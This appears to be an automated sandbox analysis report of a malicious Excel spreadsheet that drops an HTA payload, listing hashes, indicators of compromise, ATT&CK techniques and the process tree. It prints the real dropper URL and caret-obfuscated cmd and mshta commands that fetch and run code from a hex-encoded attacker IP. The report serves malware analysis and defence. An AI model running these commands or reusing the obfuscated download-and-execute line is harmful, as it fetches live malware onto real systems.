0afe6310f7ba1ae69ef946e8c4e15f291f8b6ea803f156a2066645d4dc23bb14

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 17:46

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General

Target

0afe6310f7ba1ae69ef946e8c4e15f291f8b6ea803f156a2066645d4dc23bb14.xls
Size

101KB
MD5

5c90822e2ddbf2ba6c0c637308ed6646
SHA1

feb66ac915b16028aee34f3eae7145afcfecf48a
SHA256

0afe6310f7ba1ae69ef946e8c4e15f291f8b6ea803f156a2066645d4dc23bb14
SHA512

2cd0ad3a8e27242eb33c3d2cea72dbfc6a43ea432d557d08c67f80a5a79d6ac633b48a9b65615ca39950d770db6823df3e15e8d288013af1ebc2ca650018f487
SSDEEP

3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2720	1700	cmd.exe	27

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2872	mshta.exe
5	2872	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1700	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1700	EXCEL.EXE
1700	EXCEL.EXE
1700	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1700 wrote to memory of 2720	1700	EXCEL.EXE	28
PID 1700 wrote to memory of 2720	1700	EXCEL.EXE	28
PID 1700 wrote to memory of 2720	1700	EXCEL.EXE	28
PID 1700 wrote to memory of 2720	1700	EXCEL.EXE	28
PID 2720 wrote to memory of 2872	2720	cmd.exe	30
PID 2720 wrote to memory of 2872	2720	cmd.exe	30
PID 2720 wrote to memory of 2872	2720	cmd.exe	30
PID 2720 wrote to memory of 2872	2720	cmd.exe	30

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\0afe6310f7ba1ae69ef946e8c4e15f291f8b6ea803f156a2066645d4dc23bb14.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1700
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1700-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1700-1-0x0000000071E9D000-0x0000000071EA8000-memory.dmp

Filesize
44KB

Download
memory/1700-2-0x0000000071E9D000-0x0000000071EA8000-memory.dmp

Filesize
44KB

Download